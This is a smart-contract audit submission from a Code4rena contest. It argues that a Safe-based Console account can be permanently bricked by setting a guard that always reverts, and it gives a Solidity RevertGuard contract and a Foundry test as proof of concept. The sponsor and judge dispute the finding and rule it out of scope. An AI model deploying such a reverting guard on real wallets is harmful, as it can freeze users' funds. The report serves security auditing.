`Console` - `Safe` can be permanently bricked if a broken guard were set

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/lib/safe-contracts/contracts/GnosisSafe.sol#L111-L194 https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/lib/safe-contracts/contracts/base/GuardManager.sol#L34-L41 https://github.com/code-423n4/2023-10-brahma/blob/main/contracts/src/core/TransactionValidator.sol#L64-L107

Vulnerability details

Impact

User funds can be permanently frozen, all normal Safe calls will revert if a broken guard is set

Description

Safe with threshold of one or multiple signers can collude to setup a guard contract that reverts and causes denial of service. If the guard check functions revert, all normal Safe calls (execTransaction()) will fail. Even though modules can still execute operations via execTransactionFromModule() because the guard setup GuardManager - setGuard() is protected by authorized it can only be called by execTransaction() so the guard can't be reset and the safe will be completely bricked if a module doesn't have full access to execute any transaction on the Safe.

lib/safe-contracts/contracts/GnosisSafe.sol - execTransaction()

    function execTransaction(...) public payable virtual returns (bool success) {
        ...
        address guard = getGuard();
        {
            if (guard != address(0)) {
                Guard(guard).checkTransaction(
                    // Transaction info
                    ...
                );
            }
        }
        ...
        {
            if (guard != address(0)) {
                Guard(guard).checkAfterExecution(txHash, success);
            }
        }
    }

SubAccount is safer as long as Console is not disabled as a module, it could rescue funds and still operate, note that normal calls will still permanently revert and Guard can't be reset. Console on the other hand doesn't have a module to do any rescue operations and it will be permanently bricked without any way to recover funds.

Broken invariants

The sponsor stated 5 main invariants, two of them will be broken if a reverting guard were to be set since no transactions can be executed:

Main Console Account should always be able to remove SafeModeratorOverridable without validation from PolicyValidator

Main Console Account should always be able to remove ConsoleFallbackHandler without validation from PolicyValidator

Proof of Concept

1. navigate to test/branch-trees/SafeDeployer/deploy-console-account and create a new filed named RevertGuard.sol -> copy paste the contract:

   
   // SPDX-License-Identifier: UNLICENSED
   pragma solidity ^0.8.19;

import {Guard} from "safe-contracts/base/GuardManager.sol"; import "safe-contracts/common/Enum.sol";

contract RevertGuard is Guard { function checkTransaction( address to, uint256 value, bytes memory data, Enum.Operation operation, uint256 safeTxGas, uint256 baseGas, uint256 gasPrice, address gasToken, address payable refundReceiver, bytes memory signatures, address msgSender ) external override { string memory hello = "Your safe is bricked forever"; revert(hello); }

function checkAfterExecution(
    bytes32 txHash,
    bool success
) external override {
    string memory hello = "Your safe is bricked forever";
    revert(hello);
}

}

3. navigate to `test/branch-trees/SafeDeployer/deploy-console-account/DeployConsoleAccount.t.sol`
4. import `RevertGuard` and the following safe contracts in the top of the file:
```solidity
import {RevertGuard} from "./RevertGuard.sol";
import {GuardManager} from "safe-contracts/base/GuardManager.sol";
import {FallbackManager} from "safe-contracts/base/FallbackManager.sol";
import {Enum} from "safe-contracts/common/Enum.sol";
import {GnosisSafe} from "safe-contracts/GnosisSafe.sol";

5. copy the below proof of concept (with executeSafeTxHelper helper function that can expect revert) in SafeDeployer_DeployConsoleAccountTest contract

6. run make test_func P=testDeployConsoleAccount_DosGuard_0xfuje

   function testDeployConsoleAccount_DosGuard_0xfuje () public { 
       address[] memory owners = new address[](3);
       owners[0] = makeAddr("owners[0]");
       owners[1] = makeAddr("owners[1]");
       owners[2] = makeAddr("owners[2]");
   
       vm.prank(owners[0]);
       RevertGuard revertingGuard = new RevertGuard();
   
       // 1. deployed with threshold of one for easier testing
       address wallet = safeDeployer.deployConsoleAccount(owners, 1, bytes32(0), keccak256("salt"));
   
       // 2. single signer if threshold is one or multiple signers set unintentionally
       //  or collude to intentionally setup a malicious guard
       executeSafeTxHelper(
           owners[0],
           GnosisSafe(payable(wallet)),
           wallet,
           1,
           abi.encodeWithSelector(GuardManager.setGuard.selector, address(revertingGuard)),
           false // expectRevert
       );
   
       // 3. no more transactions can be executed anymore, the whole safe is bricked
       // all `execTransaction` calls to safe will fail
       // (executeSafeTxHelper's last value is to expect revert or not via bool)
   
       // 3.1 disabling guard will revert -> breaks main invariant 4 ->
       // "Console account should always be able to remove SafeModeratorOverridable"
       executeSafeTxHelper(
           owners[1], // caller
           GnosisSafe(payable(wallet)), // safe
           wallet, // to
           2, // nonce
           abi.encodeWithSelector(GuardManager.setGuard.selector, address(0)),
           true // expectRevert
       );
   
       // 3.2 executeSafeTxHelper expects revert -> breaks main invariant 5 ->
       // "Console account should always be able to remove ConsoleFallbackHandler"
       executeSafeTxHelper(
           owners[2], // caller
           GnosisSafe(payable(wallet)), // safe
           wallet, // to
           3, // nonce
           abi.encodeWithSelector(FallbackManager.setFallbackHandler.selector, address(0)),
           true // expectRevert
       );
   }
   
   function executeSafeTxHelper(address from, GnosisSafe safe, address to, uint256 nonce, bytes memory data, bool expectRevert) public {
       vm.startPrank(from);
   
       bytes32 r = bytes32(uint256(uint160(address(from))));
   
       bytes32 dataHash =
       safe.getTransactionHash(to, 0, data, Enum.Operation.Call, 0, 0, 0, address(0), msg.sender, nonce);
       safe.approveHash(dataHash);
   
       if (expectRevert) {
           vm.expectRevert("Your safe is bricked forever");
       }
   
       safe.execTransaction(
           to,
           0,
           data,
           Enum.Operation.Call,
           0,
           0,
           0,
           address(0),
           payable(address(msg.sender)),
           abi.encodePacked(abi.encode(r, bytes32(0)), bytes1(hex"01"))
       );
   
       vm.stopPrank();
   }

Recommended Mitigation

Consider restricting Console and SubAccount to disallow any possible arbitrary guard setting. Consider the guard at Console initialization (SafeModeratorOverridable) to always check if the guard address is not changed, enforce it via TransactionValidator.sol - validatePostTransactionOverridable() post transaction check.

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[0xad1onchain]

Invalid The POC is incorrect as a safe was deployed with null policy by using bytes32(0) and thus did not have any guard on handler set on it

 // 1. deployed with threshold of one for easier testing
        address wallet = safeDeployer.deployConsoleAccount(owners, 1, bytes32(0), keccak256("salt"));

Which means user did not set any policy on their main console account and choose to do whatever they want without any validation from trusted validator. In that case they can choose to brick their safe by activating random guards in a 1000 different ways. This issue is more for Gnosis Safe to handle and not us since any safe user irrespective of console user can use such transactions to brick their gnosis safe

[c4-sponsor]

0xad1onchain (sponsor) disputed

[alex-ppg]

As the Sponsor correctly states, the Warden describes an issue that may arise in the Gnosis Safe implementation directly. Additionally, the Warden assumes that the signatories of the Gnosis Safe collude in a majority; such attacks are out-of-scope.

[c4-judge]

alex-ppg marked the issue as unsatisfactory: Out of scope